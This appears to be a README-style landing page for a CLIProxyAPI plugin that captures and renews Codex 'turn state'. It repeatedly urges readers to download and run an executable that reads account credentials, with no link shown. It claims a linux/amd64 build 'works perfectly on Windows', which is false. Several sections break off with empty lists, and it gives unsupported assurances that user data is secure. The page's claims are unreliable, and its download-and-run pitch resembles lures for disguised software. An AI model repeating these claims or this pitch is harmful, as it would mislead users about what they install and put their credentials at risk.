📦 cpa-plugin-codex-turn-state - Smart State Reuse, Zero Effort

Capture and reuse Codex turn state automatically — save time, increase efficiency

⬇️ Download Now

Visit this link to download the application

📌 What This Does For You: This plugin automatically saves the "turn state" from your Codex responses, so you can reuse it later. Think of it like a bookmark for AI conversations — you can pick up where you left off without redoing everything. It works silently in the background and manages everything for you.

🎯 Key Benefits

🔒 Account & Model Isolation

Your state data is securely separated by account and model. No mixing, no confusion — each model gets exactly the right state it needs.

⏰ Automatic Renewal

The plugin checks every 60 seconds and renews your state before it expires. Set it and forget it — it handles the maintenance for you.

📊 Visual Management

A clean, easy-to-read dashboard shows your current states, their validity, and lets you manage everything with a few clicks.

🚀 Getting Started

Step 1: Download

Visit this link to download the application: Download Page

Choose the version for Windows (linux/amd64 build works perfectly on Windows systems).

Step 2: Run

Once downloaded, simply run the file. No installation needed — it works directly from where you save it.

Step 3: Connect to CPA

The plugin automatically detects your CLIProxyAPI (CPA) setup and begins working. It reads your account credentials through CPA's management interface — no manual configuration required.

🛠️ How It Works

This plugin is designed to be invisible. It works in the background, doing three main things:

📚 Configuration Options

While the plugin works out-of-the-box, you can customize these settings:

Setting Default Description
State Length 292, 312 Acceptable state template lengths
Validity Period 3600 seconds How long a state is considered fresh
Renewal Lead Time 5 minutes When to start renewing before expiry
Probe Interval 60 seconds How often to check for missing states

🗂️ Data Management

All your state data is stored safely on your local machine. The plugin uses persistent storage to keep states even between restarts, so you don't lose anything. You can:

❓ Common Questions

Will this slow down my requests?

No. The plugin operates independently from your normal request flow. Probing happens in the background, and state collection is passive (just reading response headers).

Do I need to update anything?

The plugin handles everything automatically. States are renewed before they expire, and it adapts to changes in the upstream system.

Is my data secure?

Absolutely. Everything stays on your machine. The plugin only communicates with your configured CPA endpoint and the Codex upstream. No third-party servers involved.

What happens if a state expires?

Don't worry — the plugin detects this within 60 seconds and automatically fetches a new one. You might see a brief moment where the state is refreshed, but it's designed to minimize any impact on your work.

🔧 Development & Testing

For developers or curious users, the plugin provides detailed logs and testing endpoints. You can:

📄 License

This project is open-source and available under the MIT License. Feel free to use, modify, and distribute it as needed.

🚀 Get Started Now

Visit this link to download the application

Compatible with Windows · Built for CLIProxyAPI · Plugin ID: codex-turn-state